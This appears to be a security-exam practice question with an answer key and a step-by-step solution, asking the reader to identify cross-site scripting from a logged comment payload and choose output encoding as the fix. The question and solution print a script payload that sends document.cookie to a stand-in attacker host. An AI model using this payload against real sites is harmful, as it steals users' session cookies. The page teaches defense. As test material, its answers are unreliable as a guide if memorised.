` Which of the following ","text":"A security analyst reviews web application request logs following a security alert. The log entry shows the following payload submitted via an unauthenticated user comment field: `comment=` Which of the following ","inLanguage":"en","acceptedAnswer":{"@type":"Answer","text":"Cross-Site Scripting (XSS); implement context-aware output encoding and input sanitization.","answerExplanation":{"@type":"Comment","text":"Cross-Site Scripting (XSS); implement context-aware output encoding and input sanitization. The submitted payload uses HTML `

A security analyst reviews web application request logs following a security alert. The log entry shows the following payload submitted via an unauthenticated user comment field:

`comment=<script>window.location='http://attacker.example.com/steal?c='+document.cookie</script>`

Which of the following vulnerabilities is present in the application, and which remediation control best resolves the root cause?

1. Cross-Site Scripting (XSS); implement context-aware output encoding and input sanitization.Answer
2. B
   SQL Injection (SQLi); utilize parameterized database queries and prepared statements.
3. C
   Cross-Site Scripting (XSS); apply network firewall rule drops for inbound HTTP POST traffic.
4. D
   Broken Authorization; enforce multi-factor authentication (MFA) prior to form submission.

Answer

Cross-Site Scripting (XSS); implement context-aware output encoding and input sanitization.

The submitted payload uses HTML `<script>` tags and browser DOM manipulation (`document.cookie`) to execute code on the victim's client device, which characterizes Cross-Site Scripting (XSS). Implementing context-aware output encoding ensures that characters such as `<` and `>` are safely rendered as text rather than executed as HTML/JavaScript code by the web browser.

Step-by-Step Solution

1

Analyze the log payload structure

The string `<script>window.location='http://attacker.example.com/steal?c='+document.cookie</script>` targets client-side browser execution to read session cookies.

Identifying the target environment (browser vs database) isolates the specific vulnerability type.

2

Classify the vulnerability type

Client-side code execution via untrusted input in a web application is Cross-Site Scripting (XSS).

SQL injection alters database logic, whereas XSS executes script code within a victim's browser context.

3

Select the appropriate software remediation control

Context-aware output encoding converts special characters (like `<` and `>`) into safe HTML entities prior to rendering.

Remediating application vulnerabilities requires fixing source code handling rather than blocking network traffic or adding authentication checks.

Key Concept

Cross-Site Scripting (XSS) Identification and Remediation

Common Mistakes